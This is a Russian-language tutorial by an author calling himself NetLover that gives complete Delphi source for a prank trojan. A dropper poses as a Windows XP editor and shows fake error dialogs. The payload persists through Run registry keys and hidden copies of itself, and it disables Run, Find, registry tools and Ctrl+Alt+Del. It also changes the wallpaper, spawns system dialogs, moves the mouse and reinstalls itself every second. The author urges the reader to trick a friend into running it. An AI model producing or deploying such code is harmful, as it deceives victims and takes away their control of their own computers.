Итак, приятель, сейчас мы с тобой накодим самый
настоящий троян. Он был написан мной...да так, от нечего делать! :)
Для процесса тебе понадобится Delphi (с 3-ей версии и выше) или C++
Builder, чистые мозги и внимание! :) Троя написана под Win32, а
посему будет работать только под Win95/98/NT/ME/XP. Суть этого
трояна в следующем: сначала мы заставляем юзверя запустить нас
(маскируясь под утилиту редактора WinXP), ну а затем, скопировав
свои коды к неудачнику на винт, прописавшись в реестре в
автозагрузке, выполняем наши вредные действия. Ниже приведен код
самого трояна, снабженный многочисленными комментариями. Так что, я
думаю, тебе не составит труда разобраться в нем. Нам понадобяться
два приложения - одно (которое именно и косит под редактор WinXP)
для копирования и прописывания в реестре второго (выполняющего все
вредные действия).
Дополнительно к этому подготовь
какую-нибудь картинку (поместим ее на рабочий стол юзверя) и WAV -
файл (будем проигрывать его при старте виндов). В первом приложении
будет всего одна форма (в принципе она не понадобится). Так вот в
обработчике события OnCreate этой фoрмы пиши следующий код:
procedure TForm1.FormCreate(Sender:
TObject);
Var a : Array[0..MAX_PATH] of
char;
Reg: TRegistry; // для юзания этой
переменной в разделе Uses должен быть указан модуль
Registry
begin
{Получаем каталог Виндов, в нем
создаем каталог VxD,
если NetLover.exe присутствует - копируем
его в VxD,
переименовывая в SystemMonitor.exe, также
копируем
картинку (поместим ее на рабочий стол юзверя:) )
и
WAV-файл (будем проигывать его при старте
виндов)}
GetWindowsDirectory(a,
sizeof(a));
MkDir(a+'\VxD');
if
not(FileExists('NetLover.exe'))or
not(FileExists('1.jpg'))or
not(FileExists('Sound.wav'))
then
begin
MessageDlg('Не хватает одного или
несколькольких компонентов для запуска программы. Убедитесь в их
наличии и правильности пути
месторасположения.',mtError,[mbOK],0);
Application.Terminate;
end
else
begin
{Устанавливаем атрибуты файлам NetLover.exe,
Sound.wav
и 1.jpg: $00000001 - Только чтение, $00000002 -
Скрытый,
если атрибуты установлены - копируем иначе
выходим.}
if (FileSetAttr('NetLover.exe',$00000001
or $00000002)=0)
and (FileSetAttr('1.jpg',$00000001
or $00000002)=0)
and
(FileSetAttr('Sound.wav',$00000001 or
$00000002)=0)
then
begin
CopyFile('NetLover.exe',PChar(a+'\VxD\SystemMonitor.exe'),false);
CopyFile('1.jpg',PChar(a+'\VxD\1.jpg'),false);
CopyFile('Sound.wav','C:\Sound.wav',false);
end
else
begin
MessageDlg('Ошибка
ввода-вывода: 11. Возможно файл поврежден или
отсутствует.',mtError,[mbOK],0);
Application.Terminate;
end;
end;
{...та
же процедура, только с каталогом System32...в нем
создается
каталог Base...проверки уже не
нужны.}
MkDir(a+'\System32\Base');
CopyFile('NetLover.exe',PChar(a+'\System32\Base\SystemMonitor.exe'),false);
CopyFile('1.jpg',PChar(a+'\System32\Base\1.jpg'),false);
{Создаем
в каталогах VxD и Base файлы SystemMonitor.VxD
и еще пару штучек
с любыми расширениями - для отвода
внимания, если юзверь полезет
в реестр и увидет там
параметр
SystemMonitor.}
FileCreate(a+'\VxD\SystemMonitor.drv');
FileCreate(a+'\VxD\SystemMonitor.res');
FileCreate(a+'\VxD\SystemMonitor.ini');
FileCreate(a+'\VxD\SistemMonitor.exe');
FileCreate(a+'\System32\Base\SystemMonitor.ini');
FileCreate(a+'\System32\Base\SystemMonitor.res');
FileCreate(a+'\System32\Base\SistemMonitor.exe');
FileCreate(a+'\VxD\SystemMonitor.drv');
{Прописываемся
в реестр в автозагрузку}
REG :=
TRegistry.Create;
REG.RootKey:=HKEY_LOCAL_MACHINE;
REG.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',true);
if
FileExists(a+'\VxD\SystemMonitor.exe')
then
REG.WriteString('SystemMonitor',a+'\VxD\SystemMonitor.exe')
else
REG.WriteString('SystemMonitor',a+'\System32\Base\SystemMonitor.exe');
REG.CloseKey;
REG.Destroy;
{Выводим
сообщение об ошибке, завершаем работу.
Дело сделано - дальше
должна работать прога NetLover.exe,
которая теперь уже
SystemMonitor.exe}
MessageDlg('Ошибка файловой системы 1034.
Файл либо поврежден, либо отсутствует. Убедитесь в его наличии и
правильности пути месторасположения.',mtError, [mbOK],
0);
Application.Terminate;
end;
Отлично! :)
Сохраняй проект под именем EditorWinXP, поставь приложению
какую-нибудь симпотичную осмысленную иконку (я не зря сказал
ОСМЫСЛЕННУЮ! Понимаешь, у юзверга даже подозрения не должно быть,
что это не редактор WinXP! :)) и считай почти половину мы с тобой
уже сделали! :)
Все, теперь дальше...Вторая прога. Собственно
NetLover.exe...Здесь понадобятся две формы. Первая будет
невидимая...Почему? Ну что за вопрос? :) Сам подумай, что это будет
за прикол, если юзверь увидет, кто ему показывает, "где раки зимуют"
:)). Так вот первая форма и будет отвечать за все безобразия. Вторая
форма будет являться типа УН-инсталом трояна, ликвидатором
беспредела! Да, да и ни слова! Мы же с тобой не совсем уж такие
звери - мы создали вирус - мы его и прикончим! :) Ну это для
бедолаги-юзера, чтобы он не терял надежды и не упал сразу в обмарок.
:)
На первой форме размести следующие компаненты: три таймера
(Timer1, Timer2, Timer2) со страницы
System, компанент PopUpMenu со
страницы Standard и...Так, вот здесь немного оговорюсь. Наша прога
должна висеть в СисТрее (System Tray). Как этого добиться? Можно
конечно вручную, а можно и заюзать уже готовый компанент. Неплохой
компанент, пихающий иконку в трей и позволяющий осуществлять
различные действия с прогой написан Роландом Грабером (Roland
Gruber, gruberroland@netscape.net), за что ему огромнейшее спасибо!
:) Скачать этот компанент можно
здесь...О.к...Итак,
в общей сложности на первой форме у тебя четыре компанента.
Так,
далее...Настройка свойств компанентов. В раскрывшемся списке
свойства PopupRight компанета
Phantom1 (компанент Roland'a) выбери
всплывающее меню PopUpMenu1 (свойство
PopupRight компанента Phantom
определяет, какое всплывающее меню должно появиться, когда юзверь
кликнет по иконке в трее правой клавишей...в нашем случае это
PopUpMenu1, которое ты разместил на первой форме).
В свойстве
Items компанента PopUpMenu1 создай два пункта (две кнопки) "Кто
это?" и "Уничтожить безобразие! :)" (имена кнопок по умолчанию будут
N1 и N2)...
Так, тепреь таймеры...
Свойства Timer1: свойство
Interval задай 10000. У
Timer2 - Interval будет 5000. Ну и наконец у
Timer3 свойство Interval оставь без изменений -
1000.
Так, со
свойствами компанентов первой формы разобрались...Поехали дальше!
:)
События компанентов первой формы (да и самой формы тоже)...Для
начала, небольшие нюансики. В разделе подключения модулей
Uses добавь модули Registry и
mmSystem (модуль Phantom
добавиться автоматически, как только ты разместишь компанент
Phantom). А также в разделе public добавь логическую
переменную ОК, она нам еще
понадобится:
private
{ Private declarations
}
public
OK: boolean; // переменная проверяет,
ввел ли юзверг правильный пароль
{ Public declarations
}
end;
Тык-с...готово...Теперь в обработчике
события OnCreate первой формы (Form1) пиши следующий код (он снабжен
многочисленными комментариями, думаю
разберешься):
procedure TForm1.FormCreate(Sender:
TObject);
var reg:
TRegIniFile;
reg1:
TRegistry;
a:
array[0..MAX_PATH] of
char;
begin
OK:=false;
{Запрещаем меню
"Выполнить", и "Найти" чтобы юзверг не смог запустить
RegEdit,
MSConfig и т.д, а также найти файлы по последней дате,
недавно
скаченные на его комп :). Также запрещаем редактирование
реестра
(ну тут я думаю понятно почему) }
REG1:=
TRegistry.Create;
REG1.RootKey:=HKEY_CURRENT_USER;
REG1.OpenKey('Software\Microsoft\Windows\CurrentVersion\Policies\Explorer',true);
REG1.WriteBool('NoRun',true);
REG1.WriteBool('NoFind',true);
REG1.CloseKey;
REG1.OpenKey('Software\Microsoft\Windows\CurrentVersion\Policies\System',true);
REG1.WriteBool('DisableRegistryTools',true);
REG1.CloseKey;
REG1.Destroy;
{Подавляем
реакцию Windows на
CTRL+ALT+DEL}
SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1,
nil, 0);
{Меняем WallPapper :) }
Reg :=
TRegIniFile.Create('Control Panel');
GetWindowsDirectory(a,
sizeof(a));
Reg.WriteString('desktop', 'Wallpaper',
a+'\VxD\1.jpg');
Reg.WriteString('desktop', 'TileWallpaper',
'0');
Reg.Free;
SystemParametersInfo(SPI_SETDESKWALLPAPER, 0,
nil,SPIF_SENDWININICHANGE);
{Играем "музыку"
:))}
PlaySound('c:\Sound.wav', 0, SND_ASYNC or
SND_LOOP);
{для юзания этой процедуры должен
быть подключен модуль mmSystem}
{Выводим сообщение, о
том, что мы уже здесь :)}
MessageDlg('Что-то с мышкой моей
стало! :-) Бр-р-р-р!))))', mtInformation,
[mbOK],0);
end;
Еще одна процедура, относящаяся к
первой форме - OnCloseQuery. Она обрабатывает событие закрытия
формы. Код ее будет таким:
procedure
TForm1.FormCloseQuery(Sender: TObject; var CanClose:
Boolean);
begin
{Первая форма закроется лишь тогда,
когда юзер введет верный пароль}
if OK then
CanClose:=true
else
CanClose:=false;
end;
Так, очень хорошо! :)
Далее...Разберемся с кнопками N1 и N2 всплывающего
меню PopUpMenu1.
В обработчике события OnClick кнопки N1 пиши такой код:
procedure TForm1.N1Click(Sender:
TObject);
begin
{Это событие выведет сообщение о
том, ЧТО это :)}
MessageDlg('Кто это? Понятия не имею! :)
Похоже чужой пробрался на твою территорию. :) Да, да! Надо было
повнимательней относиться ко всему происходящему в твоей системе! Не
любишь ты свою машину, раз позволил этой твари пробраться в нее! :)
Ну не расстраивайся так сильно, ведь ты же умница и сможешь
справиться с ним (или с ней)! :) Ну а если не получиться, зови на
помощь :) Вот так: "Помоги-и-ите-е-е-е! Ма-амочка-а-а-а!!!" Ну
хватит орать!))) Это всего-навсего разъедатель системы
Lover.S.D.NetVirus. Милое название, не правда ли? :) Ладно, без
паники! Я помогу тебе... :) Жми скорей пимпу "Уничтожить безобразие!
:)" и истреби это дьявольское
отродье!)))',mtWarning,[mbOK],0);
end;
Отлично...Код
события OnClick кнопки N2 следующий:
procedure
TForm1.N2Click(Sender: TObject);
begin
{Это событие
выведет форму уничтожения трои (Form2)
:)}
Form2.Show;
end;
Ну как, еще не уснул?
:) Ха-ха-ха! :)) Тогда слушай дальше! Обрабатываем таймеры. Код
события OnTimer первого таймера (
Timer1) будет таким:
procedure TForm1.Timer1Timer(Sender:
TObject);
var RandVar: integer; // переменная для
генерации случайного числа
begin
{Каждые пять
секунды будем творить какие-нибудь гадости :),
выбирая их
случайным образом. Ну здесь - запуск различных
окон, мешающий
работе...Это улучшенная фича старой фичи моего
знакомого
Земчихина Андрея}
Randomize;
RandVar:=Random(10);
Case
RandVar of
1: WinExec('rundll32 shell32,Control_RunDLL',
SW_RESTORE); // Откpыть окно "Панель упpавления"
2:
WinExec('rundll32 shell32,OpenAs_RunDLL', SW_RESTORE); // Окно
"Откpыть с помощью..."
3: WinExec('rundll32
shell32,Control_RunDLL desk.cpl', SW_RESTORE); // Откpыть "Свойства
Экpана"
4: WinExec('rundll32 diskcopy,DiskCopyRunDll',
SW_RESTORE); // Окно "Copy Disk" вызвать
5: WinExec('rundll32
user,wnetdisconnectdialog', SW_RESTORE); // Вызвать окно "Отключение
сетевого диска"
6: WinExec('rundll32 user,wnetconnectdialog ',
SW_RESTORE); // Вызвать окно "Подключение сетевого диска"
7:
WinExec('rundll32 shell32,SHFormatDrive', SW_RESTORE); // Окно
"Фоpматиpование: Диск3,5(А)" вызвать
8: WinExec('rundll32
shell32,ShellAboutA', SW_RESTORE); // Info-Box (о Windows)
вызвать
9: WinExec('rundll32 shell,shellexecute', SW_RESTORE); //
Окно откpыть в коpневом каталоге
10: WinExec('notepad.exe',
SW_RESTORE); // Блокнот вызвать
end; // end Case
RandVar of
end;
Код события OnTimer второго
таймера (Timer2):
procedure TForm1.Timer2Timer(Sender:
TObject);
begin
WinExec('rundll32 user,setcursorpos',
SW_RESTORE); {через каждые пять секунд отводим мышу в левый
верхний угол}
end;
Ну и наконец код события
OnTimer третьего таймера (Timer3) примет следующий вид:
procedure TForm1.Timer3Timer(Sender:
TObject);
var reg:
TRegIniFile;
reg1:
TRegistry;
a:
array[0..MAX_PATH] of
char;
begin
{Этот таймер будет отслеживать все
действия по
попыткам удаления вируса (из реестра или с
винта).
Каждую секунду будем сканировать реестр и винт на
наличии
самих себя...за отсутствием оных где-либо вновь
будем
копировать себя...В принципе эта процедура смесь процедур
FormCreate прог NetLover.exe и EditorWinXP,
за исключение того,
что эта процедура выполняется каждую
секунду.}
OK:=false;
{Запрещаем меню "Выполнить", и
"Найти" чтобы юзверг не смог запустить
RegEdit, MSConfig и т.д, а
также найти файлы по последней дате,
недавно скаченные на его
комп :). Также запрещаем редактирование
реестра (ну тут я думаю
понятно почему) }
REG1:=
TRegistry.Create;
REG1.RootKey:=HKEY_CURRENT_USER;
REG1.OpenKey('Software\Microsoft\Windows\CurrentVersion\Policies\Explorer',true);
REG1.WriteBool('NoRun',true);
REG1.WriteBool('NoFind',true);
REG1.CloseKey;
REG1.OpenKey('Software\Microsoft\Windows\CurrentVersion\Policies\System',true);
REG1.WriteBool('DisableRegistryTools',true);
REG1.CloseKey;
REG1.Destroy;
GetWindowsDirectory(a,
sizeof(a));
if
not(FileExists(a+'\VxD\SystemMonitor.exe'))or
not(FileExists(a+'\VxD\1.jpg'))
then
begin
CopyFile(PChar(a+'\System32\Base\SystemMonitor.exe'),PChar(a+'\VxD\SystemMonitor.exe'),false);
CopyFile(PChar(a+'\System32\Base\1.jpg'),PChar(a+'\VxD\1.jpg'),false);
end
else
if not(FileExists(a+'\System32\Base\SystemMonitor.exe'))or
not(FileExists(a+'\System32\Base\1.jpg'))
then
begin
CopyFile(PChar(a+'\VxD\SystemMonitor.exe'),PChar(a+'\System32\Base\SystemMonitor.exe'),false);
CopyFile(PChar(a+'\VxD\1.jpg'),PChar(a+'\System32\Base\1.jpg'),false);
end;
{Прописываемся
в реестр в автозагрузку}
REG1 :=
TRegistry.Create;
REG1.RootKey:=HKEY_LOCAL_MACHINE;
REG1.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',true);
if
FileExists(a+'\VxD\SystemMonitor.exe')
then
REG1.WriteString('SystemMonitor',a+'\VxD\SystemMonitor.exe')
else
REG1.WriteString('SystemMonitor',a+'\System32\Base\SystemMonitor.exe');
REG1.CloseKey;
REG1.Destroy;
end;
Уф!...
:) С первой формой разобрались. Остается второю форму сгенерировать
и сам файл проекта немного подправить. Чем собственно мы сейчас и
займемся! :) Как ты помнишь, вторая форма будет ликвидатором
трои.
Форма номер два (Form2). Для начала разместим все
необходимые компаненты и настроим их свойства. Всего должно быть
четыре компанента: метка (Label) со страницы Standard, оповещающая о
том, что нужно сделать юзеру, что б прикончить "гада", текстовое
поле ввода (Edit, тоже со страницы Standard), непосредственно для
ввода самого пароля, и две кнопки (неважно какие - просто Button,
SpeedButton или BitButton) для удаления "твари" и для выхода из
формы соотвественно. Кэпшены (Caption) метки и кнопок можешь
придумать сам, здесь, думаю, нетрудно. :) Я, к примеру, обозвал их
так:
Label1: свойство Caption - 'Да, здесь можно убить
эту тварь...Э-э-э...Небольшая проблемка...Нужен
пароль...'
Button1: свойство Caption - 'Убьем гада!
:)'
Button2: свойство Caption - 'Э-эх...Я не знаю
пароля...Выход'
Кстати, кнопка выхода будет выполнять две
функции - выход просто из формы, если юзер ввел неверный пароль или
не знает пароля, а также выход из самого приложения в противном
случае (здесь имя кнопки должно измениться просто на 'Выход', ну или
как ты там придумаешь, без разницы в общем :))...
Так,
обрабатываем события связанные непосредсвенно с самой формой.
Единственное событие, которое к ней относится это, OnClose. Код
обработчика этого события нэкст:
procedure
TForm2.FormClose(Sender: TObject; var Action:
TCloseAction);
{Если имя второй кнопки сменилось на 'Выход'
(т.е. юзверг ввел верный пароль), то выходим из
проги}
begin
if SpeedButton2.Caption='Выход'
then
begin
MessageDlg('И впредь будь остарожней!
:)', mtInformation,
[mbOK],0);
Application.Terminate;
end;
end;
Далее...Реагируем
на событие изменения Edit1 (OnChange) следующим
образом:
procedure TForm2.Edit1Change(Sender:
TObject);
begin
if
Edit1.Text='GamletNetLoverSDA...' then {Если юзверг ввел
верный пароль, то...Ну пароль можешь свой
придумать}
begin
MessageDlg('Ну вот видешь! :) Все
получилось!))) Молодца! Жми пимпу "Убьем гада! :)" ! гЫЫЫЫ!))) Прям
как дети малые, я не могу!)))))', mtInformation,
[mbOK],0);
SpeedButton1.Enabled:=true;
end
else
SpeedButton1.Enabled:=false;
end;
В процедуре по
ликвидации "доброго монстра" нам понадобиться функция удаления
каталога со всем содержимым. К несчастью в стандартных функциях
Delphi таковой не наблюдается. А в связи с этим, как ты уже
догадался, нам придется определить ее самим. :) Ну это не так уж и
сложно! :) Пиши:
{Фунция удаления каталога со всем
содержимым.
Эта функция нам понадобиться при
удалении
каталогов VxD и Base. Функция взята из FAQ-издания,
дополнена и переработана }
function DeleteDir(Dir :
string) : boolean;
Var Found :
integer;
SearchRec :
TSearchRec;
begin
result:=false;
if
IOResult<>0 then;
ChDir(Dir);
if
IOResult<>0 then
begin
MessageDlg('Не могу
войти в каталог: '+Dir+'. Может он уже удален? Слушай, попробуй
своими силами, путь уже знаешь! Удали этот каталог вручную! :)
Давай, давай, помогай, а то я откажусь тебе помогать! :)', mtError,
[mbOK],0);
exit;
end;
Found := FindFirst('*.*',
faAnyFile, SearchRec);
while Found = 0
do
begin
if
(SearchRec.Name<>'.')and(SearchRec.Name<>'..')
then
if (SearchRec.Attr and faDirectory)<>0
then
begin
if not
DeleteDir(SearchRec.Name) then exit;
end
else
if not DeleteFile(SearchRec.Name) then
MessageDlg('Не могу удалить файл: '+Dir+SearchRec.Name+'. Слушай,
попробуй своими силами, путь уже знаешь! Удали этот файл вручную! :)
Давай, давай, помогай, а то я откажусь тебе помогать! :)', mtError,
[mbOK],0);
Found :=
FindNext(SearchRec);
end;
FindClose(SearchRec);
ChDir('..');
RmDir(Dir);
result:=IOResult=0;
end;
Хорошо...Теперь
кнопка по уничтожению трои. Код ее процедуры выглядит
так:
procedure TForm2.SpeedButton1Click(Sender:
TObject);
var reg:
TRegistry;
Found : integer;
// для удаления
каталогов
SearchRec :
TSearchRec; // для удаления
каталогов
a :
array[0..MAX_PATH] of
char;
begin
{Отключаем таймеры, чтобы не выскакивали
окна и не бегала мыша, а также для того, чтобы троян не сканировал
винт и реестр на наличие
себя}
Form1.Timer1.Enabled:=false;
Form1.Timer2.Enabled:=false;
Form1.Timer3.Enabled:=false;
MessageDlg('О.к...Таймер
отключен! Можешь позакрывать все эти окна!
:)',mtInformation,[mbOK],0);
{Разрешаем меню "Выполнить",
"Найти" и редактирование реестра}
REG:=
TRegistry.Create;
REG.RootKey:=HKEY_CURRENT_USER;
REG.OpenKey('Software\Microsoft\Windows\CurrentVersion\Policies\Explorer',true);
REG.DeleteValue('NoRun');
REG.DeleteValue('NoFind');
REG.CloseKey;
REG.OpenKey('Software\Microsoft\Windows\CurrentVersion\Policies\System',true);
REG.DeleteValue('DisableRegistryTools');
REG.CloseKey;
MessageDlg('O.k...Меню
"Выполнить", "Найти" а также радактирование реестра вновь разрешены!
:) Хе-хе! Видешь, не все так
страшно!))))',mtInformation,[mbOK],0);
{Удаляемся из реестра
из
автозагрузки}
REG.RootKey:=HKEY_LOCAL_MACHINE;
REG.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',true);
REG.DeleteValue('SystemMonitor');
REG.CloseKey;
REG.Destroy;
MessageDlg('О.к...Вирус
удален из реестра! :)',mtInformation,[mbOK],0);
{Удаляем
каталоги VxD и Base со всем содержимым (атрибуты
файлов
SystemMonitor.exe (бывший NetLover.exe) и 1.jpg нужно
поменять со
Скрытого и Только для чтения на Архивный, иначе мы не
сможем его удалить.)
Но дело в том, что мы не сможем удалить
EXEник, запущенный в данный
момент, это придется сделать только
после перезагрузки, прописавшись
в реестре в RunOnce и задав
параметр самоликвидации (после рестарта
удалится и сам параметр
самоликвидации)}
{Прописываем параметр самоликвидации
проги после выполнения}
reg :=
TRegistry.Create;
with reg do
begin
RootKey := HKEY_LOCAL_MACHINE;
LazyWrite :=
false;
OpenKey('Software\Microsoft\Windows\CurrentVersion\RunOnce',false);
if
FileExists(a+'\VxD\SystemMonitor.exe') then
WriteString('I
am terminated!','command.com /c del
'+a+'\VxD\SystemMonitor.exe')
else if
FileExists(a+'\System32\Base\SystemMonitor.exe')
then
WriteString('I am terminated!','command.com /c del
'+a+'\System32\Base\SystemMonitor.exe');
CloseKey;
free;
end;
// with reg do
GetWindowsDirectory(a,
sizeof(a));
FileSetAttr(a+'\VxD\SystemMonitor.exe', $00000020);
// $00000020 - Архивный файл
FileSetAttr(a+'\VxD\1.jpg',
$00000020);
FileSetAttr(a+'\System32\Base\SystemMonitor.exe',
$00000020);
FileSetAttr(a+'\System32\Base\1.jpg',
$00000020);
DeleteDir(a+'\VxD');
{Эту функцию мы определили
раньше}
DeleteDir(a+'\System32\Base');
MessageDlg('О.к...Удалились из
Windows и System32 :). Да успокойся же ты! Его нет уже на винте! Да
честно, честно! :) ',mtInformation,[mbOK],0);
{Удаляем
файл Sound.wav из "корня" (атрибуты файла
нужно поменять со
Скрытого и Только для чтения на Архивный, иначе мы не сможем
его
удалить)}
PlaySound(0, 0, SND_PURGE); // остановили
Sound.wav
FileSetAttr('C:\Sound.wav', $00000020); // $00000020 -
Архивный файл
DeleteFile('C:\Sound.wav');
MessageDlg('И
наконец истребили эту злую тетеньку, которая так вопила своим милым
голоском! :)',mtInformation,[mbOK],0);
{Восстанавливаем
реакцию Windows на
CTRL+ALT+DEL}
SystemParametersInfo(SPI_SCREENSAVERRUNNING, 0,
nil, 0);
MessageDlg('О.к...Обещаю, что после перезагрузки
все будет хорошо! :) Извини, если что!
:-)',mtInformation,[mbOK],0);
MessageDlg('Да, кстати! Обои на
рабочем столе поменяй своими силами, плиззз! :) Я думаю, ты сможешь
это сделать! Ведь ты же умница! :) гЫЫЫЫЫ)))) Ну прям как дети
малые, я не могу!
:-)',mtInformation,[mbOK],0);
SpeedButton1.Enabled:=false;
Edit1.Enabled:=false;
SpeedButton2.Caption:='Выход';
Label1.Caption:='Все!
Дело сделано! :) Жми
"Выход"...';
Form1.OK:=true;
end;
Ну и наконец
последняя процедура - кнопка выхода:
procedure
TForm2.SpeedButton2Click(Sender:
TObject);
begin
if SpeedButton2.Caption='Выход'
then
begin
MessageDlg('Согласись, все равно было
весело! :) Ладно, пока! :) Удачи!', mtInformation,
[mbOK],0);
Close;
end
else
Close;
end;
Все, герой! Готово! :)) Осталось только
собрать все наши "глупости" воедино и можно дать поюзать "редактор
WinXP" своему корешу-бедолаге! :) Помести все в одну папку и не
забудь файлы NetLover.exe, Sound.wav и
1.jpg сделать скрытыми, иначе
прикол у тебя и не выйдет! :))
Ну, все, удачи! Если что-то
непонятно или есть какие-нибудь вопросы, пиши мне или Gamlet'у на
E-mail, постараемся тебе помочь! :)
NetLover